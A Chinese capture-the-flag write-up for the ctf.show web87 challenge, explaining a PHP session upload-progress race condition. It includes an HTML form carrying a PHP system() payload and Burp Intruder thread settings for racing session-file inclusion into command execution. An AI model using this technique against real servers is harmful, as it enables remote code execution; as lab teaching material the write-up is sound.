条件竞争(ctf.show web87)

关于条件竞争:

我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空。因为开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生"竞争条件"问题。我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。

提交表单

html 复制代码
<!DOCTYPE html>
<html>
<body>
<form action="https://9b20724b-c913-4677-87e3-84caf86b15c6.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

写入后更改后缀为.html即可访问,随便上传一个文件。然后抓包放到Intruder模块。

选择我们的Null payloads模式以及无限重复发送

在pool中我们的初始的线程是10

再抓一个初始访问包

一样的我们直接发送到Intruder模块 。

也是一样的设置

但是在Pool中将线程设置为30,就是一定要比之前的线程多。

攻击之后等待一会儿

发现不同长度的包,可以看到我们的条件竞争成功。

然后更改我们的指令抓取flag即可

相关推荐
一楼的猫38 分钟前
AI辅助长篇小说创作的“记忆崩坏“问题与结构管理策略
人工智能·学习·机器学习·chatgpt·ai作画·ai写作
We Just Keep growing1 小时前
【MySQL运维篇】——日志、主从复制、分库分表、读写分离
java·运维·数据库·windows·学习·mysql
上海云盾-小余1 小时前
游戏端口隐蔽防护:端口映射 + 高防集群拦截爆破实操指南
网络·安全·web安全·游戏
豆豆1 小时前
高校网站建设用什么CMS建站系统?
安全·web安全·政务网站·网站改版·站群建设·高校官网·cms 建站
锦鲤52142 小时前
Coze智能体学习
学习
-To be number.wan2 小时前
计算机组成原理 | Cache和主存的映射方式
学习·缓存·计算机组成原理
数智工坊2 小时前
周志华《Machine Learning》学习笔记--第八章--集成学习
笔记·学习·机器学习
星雨流星天的笔记本2 小时前
CATTI三笔综合-改错题总结(1-10)
学习
星幻元宇VR2 小时前
消防安全警示教育展厅设备【消防标识互动体验系统】
科技·学习·安全
我有满天星辰3 小时前
【Dart 语言学习教程 】 第二章:面向对象编程
学习·flutter·dart